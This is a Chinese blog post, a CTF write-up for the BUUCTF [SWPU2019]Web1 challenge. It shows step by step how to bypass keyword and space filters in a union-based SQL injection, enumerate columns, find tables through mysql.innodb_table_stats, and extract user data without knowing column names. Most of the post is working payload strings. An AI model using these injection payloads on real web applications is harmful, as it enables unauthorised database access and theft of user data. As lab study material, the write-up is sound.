[SWPU2019]Web1 1

最新推荐文章于 2022-10-31 14:25:46 发布

succ3

最新推荐文章于 2022-10-31 14:25:46 发布

阅读量3.3k

点赞数 3

CC 4.0 BY-SA版权

分类专栏： BUUCTF 文章标签： sql web安全

本文链接：https://blog.csdn.net/shinygod/article/details/123681039

BUUCTF 专栏收录该内容

131 篇文章

订阅专栏

本文讲述了在SQL联合注入中，如何通过关键字替换和技巧绕过过滤，探测列数、库名、表名及列名，利用group_concat和无列名爆值的方法进行数据提取。作者分享了实战案例和参考链接，展示了在限制条件下进行攻击的策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

知识点：sql联合注入（各种关键词的替换）

我们先注册，尝试以admin为用户名
在这里插入图片描述
提示已被注册，说明存在admin用户，但密码我没有爆破成功，还是老老实实的注册吧。（如果各位大佬成功了，望留言！！）

注册个账号，进入里面唯一能够输入的就是广告位
**加粗样式**
有报错，且会过滤一些关键词，例如and,order by…空格也被过滤了。
在这里插入图片描述
空格我们可以用/**/来代替，order by可以用group by来代替，注释符可以用’来闭合。

当我们查列名23会报错

-1'/**/group/**/by/**/23,'abc

说明列数为22列，下面要查哪些列会回显。
在这里插入图片描述
查看回显列

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc

在这里插入图片描述
可以看一下数据库版本

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc

在这里插入图片描述
~~___________________________________________________________________~~

接下来就要爆破了。

爆库，库名web1

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

~~___________________________________________________________________~~

爆表：
且information_schema.tables被过滤
有两种方法绕过

mysql.innodb_table_stats
sys.schema_auto_increment_columns

1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

在这里插入图片描述
~~___________________________________________________________________~~

爆列时，显示column_name为未知列，咋办呢，看了其他大佬的wp，说要无列名爆值。

group_concat(column_name)

无列名爆值

普通的sq查询
select * from users

查询表，并把列名替换为1，2，3.4，5，6
select 1,2,3,4,5 ,6union select * from users

单独把第四列提出来，(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
 select `4` from (select 1,2,3,4,5,6 union select * from users)a;

若反引号被过滤，可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;

所以这题payload：
这边是group_concat(b)是因为有可能有列名相同

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

参考：
https://www.bilibili.com/video/av97418004
https://www.jianshu.com/p/dc9af4ca2d06
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/